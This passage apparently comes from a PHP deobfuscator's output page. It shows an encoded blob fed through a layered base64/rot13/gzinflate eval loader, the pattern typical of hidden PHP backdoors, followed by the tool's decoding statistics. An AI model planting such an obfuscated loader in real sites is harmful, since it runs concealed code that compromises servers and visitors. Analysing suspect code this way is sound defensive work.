caoV6Lnf3th0qvnnnHfOwN5VRdEnJGlAfHsX48Lp/0nNhbWh2Y70aPhqlYhmz8unT2nb4kv2xQCpr6WeJvnwZt3+7JF6pw9uXjoysA4XdQTOJlQ4ktTVyjYqqydhy9OeNztm7WHOf4zdmnRrcYxcGwzXBN6Z+kc3Rg2kLcMfe6dDv2jDs/544Gjn70hvsXvn4N37nzmKA0ZAtm2AGVCSyZC83sqNouLoQmmAitewemZSF7anoV7da4TQaTpWyP4XRCxXJ4S3o3e7SMoWen2biJ5lWzNdAa9Xm1lLDBHAfRzICKapR8OXtQYNvelnQtmS3cS3XmGMuiRXVpZOvFupqnrA6YFkOWh0L3Gt0OOn04FX42AtHSHpw4Z0aGWdPF5lQr1y4OquWcUKeSbcEtOxVju9Ku2UNpCW8Jw/yj1SmldE3pxm2w0zaYIsF2wsJDqHepePl340HOCK3xh93loVo+k4ChhFvhQVKp+6rJWcat8i0MiyW4gst4q6PUwA14yUhDWqiaH3nhuXqiutxIJqA6RNWR6XYafH7fnN3fJGXt/M2ktQ7vWoUyQXjg8uKxivs0G3NwuryGIbpFtWfbWwGTKhpznYe1NZiEnhS80L5EpVyHbjdm3HYFhu5eRuU63NZnt84b1vTJa7+aAtfx5StygUG5cPZmSVswta3hCGU87yQNNGoYz4v0ObgMoDolWqnZJaV0wBQFd+oGxlr9DvgKcGqSqPAD60VM2KHqdmD2VHO/0zgZzLZHFKiGXeopQoplHQn0knCqInz/lQvUx/3+Rfp3JgNvjuPrrJnMwdOrJoynNpjCamBvOna9s5zFhWwq20txFNBditAGHdTOJDt6mLrFBTynv4VpFeQOl3omA9BSHzs8recK+GwNYUXxzhlK8+DC3JFDl5nRaVPg5qQ6JTS364tBuS7pjdoQpjCQUmOpQw5u+ri6zYzVu5oFZTMFXSLp4o1n38rc5Yo57Z7PytWGbjwUBqfYzkRLf5wArbphDgZbvTHbOUprxbj8DDgFHeFKtOoG7nRB6pkidIvcwJbNRh/kF312AFC/spdtRV/2uwgbwgfYRDi54OAkEwxfHBppfXmWZhLYAYRk0Ey8TZq8r1nri3eezv8P7WGP5m8SCIy+LM41PocTkXrm66n7dniYnXPnoGOlirKg68XUD+l25Too8njrhmpxvT1k8q3czVoLOlesOjowXy0lxqDU4k8rO8I53GC9eHSm1DagaF3lof4p+KhhG0gn81GUazHzBDaFS0FxwC5jhuXEVPES6naUMtPOEhRZ20QeGvroXgEBtBwBfMyFhsJsG3TjdKcLBIdpRCi2Zdc3y+LEKBWnUxN6vBxZYwLWUOKOqo1Nc4sGO31mnfAmP05tdQhp547Q0OvAJO61/wCKuIGfMrXVHhr3l01Ft7Rx3dHsbRwVtmPn1UyHAUNCSViCSBHvVFMS1xHqM6NEJ7y6hMlIdQwwllVsY9ttS6/bMdstT+ulvYqZMpJTsrOs2nc+LXfJynvwEftrjkK3dKTeh/zCp7UjRVzKPNi4yyKl7fr8PGcgofCd9JStbuQJpjuY9NlFMgLQ8Q/p9C6TWZF0kshd4jC6T/FBJBN8EoabW8EX6Tz4/GXxVge8zf7FJ839GPaI0x1oMDiP2eKTFLtrav4r91a70JIfRYtCp9oF1yckGZym4PNh/+RBHfYtZujYAxDH9wTm9/Nqn0GhKkXn334I1jpKFTUGzy9+1KWeZcbx8VGaq4mG6aiJU5IbnSThnVv4ZwM7qMmjCL8iDP7VJFAhX3Py0rn4Xw==";
eval(str_rot13(gzinflate(str_rot13(base64_decode(($andela))))));?>
Function Calls
ini_set | 2 |
gzinflate | 1 |
str_rot13 | 2 |
base64_decode | 1 |
Stats
MD5 | 4e59ad596adda197b6aec19ad444fb88 |
Eval Count | 1 |
Decode Time | 10633 ms |